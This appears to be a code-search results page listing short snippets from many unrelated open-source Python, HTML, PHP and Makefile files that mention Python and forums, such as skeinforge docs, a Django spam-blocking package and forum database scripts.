1#!/usr/bin/env python 2""" 4 5The SoftLayer Python API client is required. Use `pip install softlayer` to install it. 6You have a few different options for configuring your username and api_key. You can pass 8~/.softlayer or /etc/softlayer.conf. For more information see the SL API at: 9- https://softlayer-python.readthedocs.org/en/latest/config_file.html 10 10 11The SoftLayer Python client has a built in command for saving this configuration file 12via the command `sl config setup`. 102 103 # 5 is active for hardware... see https://forums.softlayer.com/forum/softlayer-developer-network/general-discussion/2955-hardwarestatusid 104 if 'hardwareStatusId' in instance and instance['hardwareStatusId'] != 5:skeinforge_tools.analyze_plugins.comment.html https://github.com/sialan/autonomous-sprayer.git | HTML | 135 lines
2<!doctype html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_tools.analyze_plugins.comment</title> 4</head><body bgcolor="#f0f0f8"> 18To run comment, in a shell in the folder which comment is in type:<br> 19> python comment.py<br> 20 <br> 27A gode example is at:<br> 28<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a><br> 29 <br> 33 <br> 34> python<br> 35Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31)<br>README.md https://gitlab.com/Grouumf/garmire_SNV_calling | Markdown | 109 lines
2 3This package aims to align reads from FASTQ files and infer SNVs from RNA-seq dataset. The pipeline is largely inspired from the [GATK variant calling good practices.](http://gatkforums.broadinstitute.org/wdl/discussion/3891/calling-variants-in-rnaseq). Also, it can optionally infer raw gene expression, annotate SNV and doing Quality Control (QC) check. 4 22 * Linux/ Unix (not tested) working environment 23 * [python 2 (>=2.7)](https://www.python.org/download/releases/2.7.2/) 24 * [STAR Aligner](https://github.com/alexdobin/STAR) 53```bash 54 python test/*.py -v 55 nosetests -v # alternative using nose 61```bash 62python garmire_SNV_calling/generate_STAR_genome_index.py 63``` 67```bash 68python garmire_SNV_calling/deploy_star.py 69```sfsupdate.py https://github.com/benjaoming/django-stopforumspam.git | Python | 126 lines
16class Command(BaseCommand): 17 help = 'Updates the database with the latest IPs from stopforumspam.com' 18 92 # Necessary because ZipFile needs to do a seek() call on the 93 # file object which HttpResponse in python3 doesn't support. 94 fileobject = BytesIO(response.read())skeinforge_application.skeinforge_plugins.analyze.html https://github.com/ggaavv/ReplicatorG.git | HTML | 82 lines
2<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_application.skeinforge_plugins.analyze</title> 4</head><body bgcolor="#f0f0f8"> 32A gode example is at:<br> 33<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a></tt> 34<br />README.html https://github.com/drnic/instantrails.git | HTML | 183 lines
101<pre> 102 API ideas derived (or not) from Perl's Win32::Sound module and Python's 103 winsound package. 111<pre> 112 Please post questions and/or comments on one of the forums on the project 113 page at http://rubyforge.org/projects/win32utils. Click the 'Forums' tab. 121<pre> 122 The MessageBeep() function, which the Python "winsound" module contains, 123 is intentionally omitted here. I felt it was redundant, because you cansetup.py https://github.com/samuraisam/pycassa.git | Python | 117 lines
1#!/usr/bin/env python 2# -*- coding: utf-8 -*- 29 30long_description = """pycassa is a python client library for Apache Cassandra with the following features: 31 77 print """ 78`setup.py doc` is not supported for this version of Python. 79 79 80Please ask in the user forums for help. 81""" 90 maintainer_email = 'pycassa.maintainer@gmail.com', 91 description = 'Python client library for Apache Cassandra', 92 long_description = long_description, 110 'Operating System :: OS Independent', 111 'Programming Language :: Python :: 2.4', 112 'Programming Language :: Python :: 2.5',comment.py https://github.com/sialan/autonomous-sprayer.git | Python | 185 lines
8To run comment, in a shell in the folder which comment is in type: 9> python comment.py 10 17A gode example is at: 18http://forums.reprap.org/file.php?12,file=565 19 23 24> python 25Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31) 38from __future__ import absolute_import 39#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 40import __init__messages.py https://github.com/kxgames/GameEngine.git | Python | 279 lines
1#!/usr/bin/env python3 2 22 from .actors import Actor 23 from .forums import IdFactory 24Numbers in List.ipynb https://gitlab.com/TravBus/CS_101 | Jupyter | 100 lines
10 "source": [ 11 "# Numbers in lists by SeanMc from forums\n", 12 "# define a procedure that takes in a string of numbers from 1-9 and\n", 80 "kernelspec": { 81 "display_name": "Python 3", 82 "language": "python", 82 "language": "python", 83 "name": "python3" 84 }, 86 "codemirror_mode": { 87 "name": "ipython", 88 "version": 3 90 "file_extension": ".py", 91 "mimetype": "text/x-python", 92 "name": "python",README.rst https://github.com/benjaoming/django-stopforumspam.git | ReStructuredText | 126 lines
25- Django 1.7 - 4.x 26- Python 2.7 and 3+ 27 33 34 sudo pip install stopforumspam 35 37 38 'stopforumspam.middleware.StopForumSpamMiddleware' 39 41 42 'stopforumspam' 43 124 125 0 2 * * * wget -O /tmp/listed_ip_7.zip http://www.stopforumspam.com/downloads/listed_ip_7.zip ; python /your/project/path/manage.py sfsupdate -q 126help.py https://github.com/sialan/autonomous-sprayer.git | Python | 82 lines
18====Skeinforge Overview==== 19A general description of skeinforge, has answers to frequently asked questions and has many links to skeinforge, fabrication and python pages. It is also the help page of the skeinforge tool. 20 20 21===Forums=== 22====Bits from Bytes Printing Board==== 42from __future__ import absolute_import 43#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 44import __init__comment.py https://github.com/hmeyer/ReplicatorG.git | Python | 186 lines
19A gode example is at: 20http://forums.reprap.org/file.php?12,file=565 21 25 26> python comment.py 27This brings up the comment dialog. 29 30> python comment.py Screw Holder_penultimate.gcode 31The comment file is saved as Screw_Holder_penultimate_comment.gcode 33 34> python 35Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31) 48from __future__ import absolute_import 49#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 50import __init__setup.py https://github.com/benjaoming/django-stopforumspam.git | Python | 36 lines
3 4from stopforumspam import __version__ 5 13 'Operating System :: OS Independent', 14 'Programming Language :: Python', 15 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 22setup( 23 name='stopforumspam', 24 description='Django middleware for blocking IPs listed in stopforumspam.com', 32 ], 33 url='https://github.com/benjaoming/django-stopforumspam', 34 classifiers=CLASSIFIERS,hkforums.search.py https://github.com/JMSCHKU/Social.git | Python | 183 lines
1#!/usr/bin/env python 2 10 11class SearchForums(object): 12 """Usage: hkforums.search.py [-ds|-de DATE] terms <forum name>""" 16 STORE_DIR = "" 17 supported_forums = ["uwants", "discuss", "hkreporter"] 18 analysers = list() 23 def __init__(self, forumname): 24 if not forumname in self.supported_forums: 25 sys.exit() 46 47 def searchForums(self, q, time_start_secs, time_end_secs, uids=list(), offset=None, floor=None): 48 if offset <> None: 130 # Logging 131 f = open("/var/data/hkforums/searchlog/%(forum)s.log" % {"forum": self.forum},"a") 132 f.write(datetime.datetime.strftime(datetime.datetime.now(),"%Y-%m-%d %H:%M:%S") + "\t" + q + "\n")models.py http://plugs.googlecode.com/svn/trunk/ | Python | 155 lines
1#! /usr/bin/env python 2#coding=utf-8 38 ordering = Field(int, verbose_name='??',default = 1) 39 category = Reference('forumcategory', verbose_name='????', collection_name='forums', required=True) 40 created_on = Field(datetime.datetime, verbose_name='????', auto_now_add=True) 46 last_reply_on = Field(datetime.datetime, verbose_name='??????') 47 last_post_user = Reference('user', verbose_name='?????', collection_name="last_post_user_forums") 48 last_post = Field(int, verbose_name='????id')machine-learning-competition-faq.md https://gitlab.com/yeah568/azure-content | Markdown | 118 lines
31Please use our [Microsoft Azure Machine Learning 32forum](https://social.msdn.microsoft.com/forums/azure/home?forum=MachineLearning). 33 48 49The competition participants leverage Azure Machine Learning Studio, a cloud-based service within Cortana Intelligence Suite for development of the data science models and create Competition entries for submission. ML Studio not only provides a GUI interface for constructing machine learning experiments, it also allows you to bring your own R and/or Python scripts for native execution. The R and Python runtime in ML Studio come with a rich set of open source R/Python packages, and you can import your own packages as part of the experiment as well. ML Studio also has a built-in JuPyteR Notebook service for you to do free style data exploration. Of course, you can always download the datasets used in the Competition and explore it in your favorite tool outside of ML Studio. 50skeinforge_application.skeinforge_plugins.analyze_plugins.statistic.html https://github.com/nmsl1993/ReplicatorG.git | HTML | 201 lines
2<!doctype html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_application.skeinforge_plugins.analyze_plugins.statistic</title> 4</head><body bgcolor="#f0f0f8"> 67A gode example is at:<br> 68<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a><br> 69 <br> 76 <br> 77> python statistic.py<br> 78This brings up the statistic dialog.<br> 80 <br> 81> python statistic.py Screw Holder_penultimate.gcode<br> 82The statistic file is saved as Screw_Holder_penultimate_statistic.txt<br> 84 <br> 85> python<br> 86Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31)<br>lang_links.php https://github.com/Bigjoos/U-232-V3.git | PHP | 83 lines
32 <li><a class='altlink' href='http://g3torrent.sourceforge.net/'>G3 Torrent</a> - 33 "A feature rich and graphically empowered bittorrent client written in python."</li> 34 <li><a class='altlink' href='http://krypt.dyndns.org:81/torrent/maketorrent/'>MakeTorrent</a> - 44 Pr0n, and then some!</li>", 45 'links_forums_header' => "<h2>Forum communities</h2>", 46 'links_forums_body' => " <li><a class='altlink' href='http://www.filesoup.com/'>Filesoup</a> - 47 BitTorrent community.</li> 48 <li><a class='altlink' href='http://www.torrent-addiction.com/forums/index.php'>Torrent Addiction</a> - 49 Another BitTorrent community. [popups]</li> 54 'links_other_body' => "<li><a class='altlink' href='http://www.nforce.nl/'>NFOrce</a> - 55 Game and movie release tracker / forums.</li> 56 <li><a class='altlink' href='http://www.grokmusiq.com/'>grokMusiQ</a> - 58 <li><a class='altlink' href='http://www.izonews.com/'>iSONEWS</a> - 59 Release tracker and forums.</li> 60 <li><a class='altlink' href='http://www.btsites.tk'>BTSITES.TK</a> -Scribbler.py http://openqwaq.googlecode.com/svn/trunk/ | Python | 347 lines
12 13# Scribbler.py: The main file for a Python Panel App 14 38 39 # Print some status info in the Qwaq Forums transcript 40 self.println("[Scribbler]: Creating new app")rsi.py https://github.com/esmanhotto/emesene.git | Python | 82 lines
2# 3# papyon - a python client library for Msn 4# 59 # FIXME : process the IPG data 60 # http://www.amsn-project.net/forums/viewtopic.php?p=21744 61 # set a mobile sender flagMakefile.in https://github.com/absynce/Jaxer.git | Autoconf | 111 lines
60 cp -R "$(WIN32_CRT_SRC_DIR)" . 61 # per http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1189363&SiteID=1 62 for i in dll mt xdll xmt; do \ 73# this pretty much sucks, but nmake and make don't play well together 74 $(PYTHON) $(srcdir)/build-crt.py $(CRT_OBJ_DIR) 75 #XXX: these don't link right for some reasonsettings.py https://github.com/benjaoming/django-stopforumspam.git | Python | 134 lines
103 104# Python dotted path to the WSGI application used by Django's runserver. 105WSGI_APPLICATION = 'testproject.wsgi.application' 121 'django.contrib.admin', 122 'stopforumspam', 123 # Uncomment the next line to enable admin documentation: 128 129# SFS_SOURCE_ZIP = "http://www.stopforumspam.com/downloads/listed_ip_7.zip" 130# SFS_SOURCE_ZIP = "file:///tmp/listed_ip_7.zip"wine_colors_from_gtk.py https://github.com/altercation/es-bin.git | Python | 210 lines
1#!/usr/bin/env python2 2 6# 7# Based on script by KillerKiwi [Ubuntu Forums] October 29th, 2007 8# http://ubuntuforums.org/showthread.php?t=55286&page=3#23index.rst https://github.com/GrahamDumpleton/mod_wsgi-docs.git | ReStructuredText | 327 lines
18`mod_wsgi user group <http://groups.google.com/group/modwsgi>`_ to post details 19of your problem. Although IRC forums related to Python, WSGI and the various 20Python web frameworks may give instant answers, more often than not they will 35built for hosting WSGI applications, whereas mod_python does quite a bit 36itself in Python code before handing a particular request off to a Python 37web application. 54 55That mod_python loads a lot of Python code for its own purposes also serves 56to increase its base memory usage. There are also known issues with 56to increase its base memory usage. There are also known issues with 57mod_python whereby it loads various standard Python modules that for normal 58use it doesn't need to. These modules are not always required by Python 95party C extension module for Python which has not been implemented so as to 96work within a secondary Python sub interpreter. The Python bindings for 97Subversion are a particular example, with the Python module only workingapps_list.md https://gitlab.com/asmjahid/pinax | Markdown | 96 lines
55pinax-lms-activities provides a framework and base learning activities for Pinax LMS. 56## [pinax-forums](https://github.com/pinax/pinax-forums) 57pinax-forums is an extensible forums app for Django and Pinax. It is focused on core forum functionality and hence is expected to be combined with other Pinax apps for broader features. 58 59See pinax-project-forums for a full Django project incorporating numerous apps with the goal of providing an out of the box forums solution. 60## [pinax-types](https://github.com/pinax/pinax-types) 66## [symposion](https://github.com/pinax/symposion) 67symposion is a conference management solution from Eldarion. It was built with the generous support of the Python Software Foundation. See http://eldarion.com/symposion/ for commercial support, customization and hosting. 68## [metron](https://github.com/pinax/metron)models.py https://github.com/open-machine-learning/mldata.git | Python | 405 lines
180 verbose_name = _('Forum') 181 verbose_name_plural = _('Forums') 182 191 def _flatten(self, L): 192 """Taken from a python newsgroup post to flatten a list. 193 220 def get_all_children(self): 221 """Gets a list of all of the child forums. 222 222 223 @return: list of all child forums. 224 @rtype: list of Forumget-shit-done.py https://github.com/sergray/get-shit-done.git | Python | 104 lines
1#!/usr/bin/env python 2 16 'flickr.com', 17 'forums.somethingawful.com', 18 'friendster.com',Makefile https://gitlab.com/purdueNlp/DRaiL | Makefile | 22 lines
3# targets depend on your machine 4#all: argmining-mac 4forums-mac 5all: argmining-linux 4forums-linux 7argmining-mac: di_graph.h core_argmining.h 8 c++ $(FLAGS) -Wno-deprecated-register -shared -undefined dynamic_lookup `python -m pybind11 --includes` core_argmining.cpp -o core_argmining.so 9 10argmining-linux: di_graph.h core_argmining.h 11 c++ $(FLAGS) -Wno-deprecated-register -shared -fPIC `python -m pybind11 --includes` core_argmining.cpp -o core_argmining.so -I/usr/include/python2.7 -lpython2.7 12 144forums-mac: di_graph.h core_4forums.h 15 c++ $(FLAGS) -Wno-deprecated-register -shared -undefined dynamic_lookup `python -m pybind11 --includes` core_4forums.cpp -o core_4forums.so 16 174forums-linux: di_graph.h core_4forums.h 18 c++ $(FLAGS) -Wno-deprecated-register -shared -fPIC `python -m pybind11 --includes` core_4forums.cpp -o core_4forums.so -I/usr/include/python2.7 -lpython2.7 19__init__.py https://gitlab.com/manoj-makkuboy/vikuit | Python | 135 lines
1#!/usr/bin/python 2# -*- coding: utf-8 -*- 60from handlers.module.community.CommunityDelete import * 61# community forums 62from handlers.module.community.CommunityForumList import * 65from handlers.module.community.CommunityForumReply import * 66from handlers.module.community.CommunityForumSubscribe import * 67from handlers.module.community.CommunityForumDelete import * 97from handlers.module.user.UserEvents import * 98from handlers.module.user.UserForums import * 99 111 112# forums 113from handlers.ForumList import *skeinforge_application.skeinforge_plugins.analyze_plugins.comment.html https://github.com/jmil/SFACT.git | HTML | 152 lines
2<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_application.skeinforge_plugins.analyze_plugins.comment</title> 4</head><body bgcolor="#f0f0f8"> 40A gode example is at:<br> 41<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a><br> 42 <br> 47 <br> 48> python comment.py<br> 49This brings up the comment dialog.<br> 50 <br> 51> python comment.py Screw Holder_penultimate.gcode<br> 52The comment file is saved as Screw_Holder_penultimate_comment.gcode</tt>xconfigurator.py https://github.com/atareao/Touchpad-Indicator.git | Python | 165 lines
1#!/usr/bin/env python3 2# -*- coding: utf-8 -*- 36 # From http://www.bloggerpolis.com/2011/05/\ 37 # how-to-check-if-a-process-is-running-using-python/ 38 # and http://richarddingwall.name/2009/06/18/\ 84 return "gnome2" 85 # From http://ubuntuforums.org/showthread.php?t=652320 86 elif is_running("xfce-mcs-manage"):skeinforge_tools.analyze_plugins.statistic.html https://github.com/sialan/autonomous-sprayer.git | HTML | 146 lines
2<!doctype html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_tools.analyze_plugins.statistic</title> 4</head><body bgcolor="#f0f0f8"> 21To run statistic, in a shell in the folder which statistic is in type:<br> 22> python statistic.py<br> 23 <br> 30A gode example is at:<br> 31<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a><br> 32 <br> 36 <br> 37> python<br> 38Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31)<br>__init__.py https://github.com/jbochi/flask-appengine-template.git | Python | 172 lines
22 """Similar to string.replace() but is case insensitive 23 Code borrowed from: http://forums.devshed.com/python-programming-11/ 24 case-insensitive-string-replace-490921.htmlREADME.md https://github.com/ZachWick/sauce-connect-geriatric.git | Markdown | 51 lines
17For more info: http://saucelabs.com/products/docs/sauce-connect<br /> 18Questions: http://saucelabs.com/forums 19 27The script depends in both 28[simplejson](http://pypi.python.org/pypi/simplejson/) and 29[plink](http://www.chiark.greenend.org.uk/~sgtatham/putty/), they are 50For more info: http://saucelabs.com/products/docs/sauce-connect<br /> 51Questions: http://saucelabs.com/forums 52resume.php https://bitbucket.org/pdizz/pdizz-site.git | PHP | 84 lines
23 </li> 24 <li>Python, JSON, XML, HTML, CSS</li> 25 <li>Linux (Ubuntu), Apache</li> 71 <li>Parses API data-structure to PHP objects</li> 72 <li>Retrieve information from sub-reddits (forums), posts, and comments</li> 73 </ul>projects.html https://github.com/unweb/unweb.me-Mockup.git | HTML | 192 lines
113 <div id="os-4" class="column project-column"> 114 <div class="python-project"></div> 115 <h4 class="project-title">collective.transcode.star</h4> 128 <li><a href="http://www.0-18.gr" title="The Greek Ombudsman" target="_blank" class="logo"><span><img src="images/logos-bwc/client-3.png" /></span></a></li> 129 <li><a href="http://www.forumsocialmundial.org.br" title="World Social Forum" target="_blank" class="logo"><span><img src="images/logos-bwc/client-4.png" /></span></a></li> 130 <li><a href="http://www.engagemedia.org" title="Engage Media" target="_blank" class="logo"><span><img src="images/logos-bwc/client-5.png" /></span></a></li>config.tmpl https://bitbucket.org/fyelles/sick-beard.git | Go Template | 33 lines
18 <tr><td class="infoTableHeader">SB Web Root: </td><td class="infoTableCell">$sickbeard.WEB_ROOT</td></tr> 19 <tr><td class="infoTableHeader">Python Version: </td><td class="infoTableCell">$sys.version[:120]</td></tr> 20 <tr class="infoTableSeperator"><td class="infoTableHeader">Homepage </td><td class="infoTableCell"><a href="http://www.sickbeard.com/">http://www.sickbeard.com/</a></td></tr> 20 <tr class="infoTableSeperator"><td class="infoTableHeader">Homepage </td><td class="infoTableCell"><a href="http://www.sickbeard.com/">http://www.sickbeard.com/</a></td></tr> 21 <tr><td class="infoTableHeader">Forums </td><td class="infoTableCell"><a href="http://sickbeard.com/forums/">http://sickbeard.com/forums/</a></td></tr> 22 <tr><td class="infoTableHeader">Source </td><td class="infoTableCell"><a href="https://github.com/midgetspy/Sick-Beard/">https://github.com/midgetspy/Sick-Beard/</a></td></tr>simple_dehasher.py https://gitlab.com/8wiw/python-dehasher | Python | 165 lines
1#!/usr/bin/python3 2 3########################################################################### 4# Made by http://github.com/r4v10l1 for RaidForums. # 5# https://raidforums.com/User-FakeRavi0li #skeinforge_help.py https://github.com/hmeyer/ReplicatorG.git | Python | 66 lines
6from __future__ import absolute_import 7#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 8import __init__ 40 settings.LabelSeparator().getFromRepository(self) 41 settings.LabelDisplay().getFromName('- Forums -', self ) 42 settings.LabelDisplay().getFromName('Bits from Bytes Software Board:', self ) 46 settings.LabelDisplay().getFromName('Skeinforge Contributions Thread:', self ) 47 settings.HelpPage().getFromNameAfterHTTP('dev.forums.reprap.org/read.php?12,27562', 'Skeinforge Contributions Thread', self ) 48 settings.LabelDisplay().getFromName('Skeinforge Settings Thread:', self ) 48 settings.LabelDisplay().getFromName('Skeinforge Settings Thread:', self ) 49 settings.HelpPage().getFromNameAfterHTTP('dev.forums.reprap.org/read.php?12,27434', 'Skeinforge Settings Thread', self ) 50 settings.LabelDisplay().getFromName('Skeinforge Troubleshooting Thread:', self ) 50 settings.LabelDisplay().getFromName('Skeinforge Troubleshooting Thread:', self ) 51 settings.HelpPage().getFromNameAfterHTTP('forums.reprap.org/list.php?154', 'Skeinforge Troubleshooting Thread', self ) 52 settings.LabelSeparator().getFromRepository(self)vimrc.commands.vim https://github.com/bf4/vimfiles.git | Vim Script | 60 lines
15 autocmd FileType ruby,haml,eruby,yaml,html,javascript,sass,cucumber set ai sw=2 sts=2 et 16 autocmd FileType python set sw=4 sts=4 et 17 47 " Tip found there: 48 " http://forums.macosxhints.com/archive/index.php/t-49708.html 49 " It works at least with: xterm rxvt etermMakefile https://gitlab.com/purdueNlp/DRaiL | Makefile | 64 lines
8 9TARGET = 4forums 10DIRECTORY = data/ 55local: 56 python ../../run_debates_4forums.py -d $(DIRECTORY) -r $(RULES) -c $(CONFIG) -f $(FE_DIR) -n $(NET_DIR) --savedir $(SAVE_DIR) --issue $(ISSUE) -p $(PICKLE_D) $(BERT) $(INFERENCE) -m local --constraints --train_only -g $(GPUINDEX) $(ADDD) 57global: 57global: 58 python ../../run_debates_4forums.py -d $(DIRECTORY) -r $(RULES) -c $(CONFIG) -f $(FE_DIR) -n $(NET_DIR) --savedir $(SAVE_DIR) --issue $(ISSUE) -p $(PICKLE_D) $(BERT) $(INFERENCE) -m global --lrate $(L_RATE) --constraints -g $(GPUINDEX) $(ADDD) --logging_config ../../logging_conf.json --we_file $(WE_FILE) --loss hinge $(AC) $(LOCAL_OPT_INIT) 59global-hotstart: 61 cp -r $(PRET_BERT) $(SAVE_DIR) 62 python ../../run_debates_4forums.py -d $(DIRECTORY) -r $(RULES) -c $(CONFIG) -f $(FE_DIR) -n $(NET_DIR) --savedir $(SAVE_DIR) --issue $(ISSUE) -p $(PICKLE_D) $(BERT) $(INFERENCE) -m global --lrate $(L_RATE) --constraints --continue_from_checkpoint -g $(GPUINDEX) $(ADDD) --logging_config ../../logging_conf.json --we_file $(WE_FILE) --loss hinge $(AC) $(LOCAL_OPT_INIT) 63global-debug-cpu: 63global-debug-cpu: 64 python ../../run_debates_4forums.py -d $(DIRECTORY) -r $(RULES) -c $(CONFIG) -f $(FE_DIR) -n $(NET_DIR) --savedir $(SAVE_DIR) --issue $(ISSUE) $(BERT) $(INFERENCE) -m global --lrate $(L_RATE) --constraints --debug $(ADDD) --logging_config ../../logging_conf.json --we_file $(WE_FILE) --loss hinge $(AC) $(LOCAL_OPT_INIT)plugin.py https://github.com/theY4Kman/Yakbot-plugins.git | Python | 148 lines
1#!/usr/bin/env python 2# ============================================================================= 66 RGX_DONOR = re.compile('<td style="width: 45px;">\s*<i>(?P<date>[^<]+)</i>\s*</td>\s*<td>' 67 '\s*\\$(?P<amount>\d+) - (<a href="http://forums\\.alliedmods\\.net/member\\.php' 68 '\\?u=(?P<forum_uid>\d+)">)?(?P<name>[^<]+)(</a>)?\s*' 71 RGX_TOPDONOR = re.compile('<td style="width: 45px;">\s*\\$(?P<amount>\d+)' 72 '\s*</td>\s*<td>\s*(<a href="http://forums\\.alliedmods\\.net/member\\.php' 73 '\\?u=(?P<forum_uid>\d+)">)?(?P<name>[^<]+)(</a>)?\s*'ghadoopmonitor.py https://gitlab.com/abushoeb/gc-v1 | Python | 960 lines
1#!/usr/bin/env python2.7 2 55 56 # http://forums.devshed.com/python-programming-11/how-to-monitor-a-file-for-changes-85767.html 57 self.fileMapr = open(self.logfileMapr, 'r')ghadoopmonitor.py https://gitlab.com/abushoeb/ghadoop-v1 | Python | 584 lines
1#!/usr/bin/env python2.5 2 43 44 # http://forums.devshed.com/python-programming-11/how-to-monitor-a-file-for-changes-85767.html 45 self.fileMapr = open(self.logfileMapr, 'r')tutorial06.rst https://github.com/hjwp/Test-Driven-Django-Tutorial.git | ReStructuredText | 267 lines
20* Am I broadly covering the right sort of stuff? 21* Am I right to spend plenty of time talking about JavaScript, as well as Python? 22* What should I choose as my example app? I've written the outline as if it 22* What should I choose as my example app? I've written the outline as if it 23 were a forums app, but I'm starting to see the appeal of one of the other classic 24 examples, the "to-do list" (very simple at base, can be extended easily, opportunities 70 71* Look for "Welcome to the Forums", or similar 72* `urls.py`, `direct_to_template` ?to-be-decided.md https://bitbucket.org/beautifulscores/das-trunkne-lied.git | Markdown | 117 lines
82 83I'm afraid the Python script(s) are somewhat messed up. 84 115Or should we (additionally/alternatively) use a forum? I've installed 116[Vanilla forums](http://vanillaforums.org) on https://git.ursliska.de/forum as 117a testlist.html https://bitbucket.org/jice/libtcod/ | HTML | 37 lines
21</ul></div> 22<p>This is a fast, lightweight and generic container, that provides array, list and stack paradigms.<br />Note that this module has no python wrapper. Use python built-in containers instead.<br /> </p> 23 28 <p><table width='100%'><tr><td><a href="http://doryen.eptalys.net/libtcod">libtcod website</a></td> 29 <td><a href="http://doryen.eptalys.net/forum/index.php?board=12.0">libtcod on Roguecentral forums</a></td> 30 <td><a href="http://www.youtube.com/watch?v=PY9lJnVQbXs&feature=PlayList&p=553E3D00A1460331&playnext_from=PL&index=0&playnext=1">libtcod HOWTO video tutorials</a></td></tr></table></p>analytics.py https://gitlab.com/g66shivam/gstudio | Python | 1111 lines
1''' -- Imports from python libraries -- ''' 2import datetime 209 data['num_of_files'] = analytics_collection.find({ "user.name" : request.user.username, "action.key" : "create", "obj.file" : { '$exists' : 'true'}}).count() 210 data['num_of_forums_created'] = analytics_collection.find({ "user.name" : request.user.username, "action.key" : "create", "obj.forum" : { '$exists' : 'true'}}).count() 211 data['num_of_threads_created'] = analytics_collection.find({ "user.name" : request.user.username, "action.key" : "create", "obj.thread" : { '$exists' : 'true'}}).count() 260 TwistGst = node_collection.find_one({"_type":"GSystemType","name":"Twist"}) 261 data['forums'] = db['Nodes'].find({"url":"forum", "group_set":ObjectId(group_id)}).count() 262 data['threads'] = db['Nodes'].find({"member_of":ObjectId(TwistGst._id),"group_set":ObjectId(group_id)}).count() 273 274 data['recent']['forums'] = analytics_collection.find({"action.key": {"$in" : ['create', 'edit']}, "group_id": str(group_id), "obj.forum" : { '$exists' : 'true'},"timestamp":{'$gte':specific_date}}).count() 275 data['recent']['threads'] = analytics_collection.find({"action.key": {"$in" : ['create', 'edit']}, "group_id": str(group_id), "obj.thread" : { '$exists' : 'true'},"timestamp":{'$gte':specific_date}}).count() 336 computing_urls = [ 337 { 'key' : 'forums', 'url' : 'forum', 'status' : 'DRAFT' }, 338 { 'key' : 'threads', 'url' : 'forum/thread', 'status' : 'DRAFT' },forum-merge.py https://gitlab.com/wushin/evol-tools | Python | 240 lines
96cursor.execute("update phpbb_topics_2 set topic_last_poster_id = topic_last_poster_id +%s;" % maxuser) 97cursor.execute("update phpbb_forums_2 set forum_last_poster_id = forum_last_poster_id + %s;" % maxuser) 98cursor.execute("update phpbb_privmsgs_2 set author_id = author_id + %s;" % maxuser) 108cursor.execute("update phpbb_posts_2, phpbb_users_2 set phpbb_posts_2.poster_id = phpbb_users_2.user_id where phpbb_posts_2.poster_id = phpbb_users_2.user_id_old;") 109cursor.execute("update phpbb_forums_2, phpbb_users_2 set phpbb_forums_2.forum_last_poster_id = phpbb_users_2.user_id where phpbb_forums_2.forum_last_poster_id = phpbb_users_2.user_id_old;") 110cursor.execute("update phpbb_topics_2, phpbb_users_2 set phpbb_topics_2.topic_poster = phpbb_users_2.user_id where phpbb_topics_2.topic_poster = phpbb_users_2.user_id_old;") 149cursor.execute("ALTER TABLE phpbb_forums_2 CHANGE `forum_id` `forum_id` MEDIUMINT( 8 ) UNSIGNED NOT NULL;") 150cursor.execute("alter table phpbb_forums_2 drop primary key;") 151 151 152# update users in forums2 with new incremented ids 153print "updating ids, again" 214print "merging forums!" 215cursor.execute("INSERT INTO phpbb_forums (forum_id, parent_id, left_id, right_id, forum_parents, forum_name, forum_desc, forum_desc_bitfield, forum_desc_options, forum_desc_uid, forum_link, forum_password, forum_style, forum_image, forum_rules, forum_rules_link, forum_rules_bitfield, forum_rules_options,forum_rules_uid, forum_topics_per_page, forum_type, forum_status, forum_posts, forum_topics, forum_topics_real, forum_last_post_id, forum_last_poster_id, forum_last_post_subject, forum_last_post_time, forum_last_poster_name, forum_last_poster_colour, forum_flags, forum_options, display_subforum_list, display_on_index, enable_indexing, enable_icons, enable_prune, prune_next, prune_days, prune_viewed, prune_freq) SELECT forum_id, parent_id, left_id, right_id, forum_parents, forum_name, forum_desc, forum_desc_bitfield, forum_desc_options, forum_desc_uid, forum_link, forum_password, forum_style, forum_image, forum_rules, forum_rules_link, forum_rules_bitfield, forum_rules_options, forum_rules_uid, forum_topics_per_page, forum_type, forum_status, forum_posts, forum_topics, forum_topics_real, forum_last_post_id, forum_last_poster_id, forum_last_post_subject, forum_last_post_time, forum_last_poster_name, forum_last_poster_colour, forum_flags, forum_options, display_subforum_list, display_on_index, enable_indexing, enable_icons, enable_prune, prune_next, prune_days, prune_viewed, prune_freq from phpbb_forums_2;") 216statistic.py https://github.com/jmil/SFACT.git | Python | 348 lines
34A gode example is at: 35http://forums.reprap.org/file.php?12,file=565 36 39 40> python statistic.py 41This brings up the statistic dialog. 42 43> python statistic.py Screw Holder_penultimate.gcode 44The statistic file is saved as Screw_Holder_penultimate_statistic.txt 48from __future__ import absolute_import 49#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 50import __init__skeinforge.py https://github.com/jmil/SFACT.git | Python | 617 lines
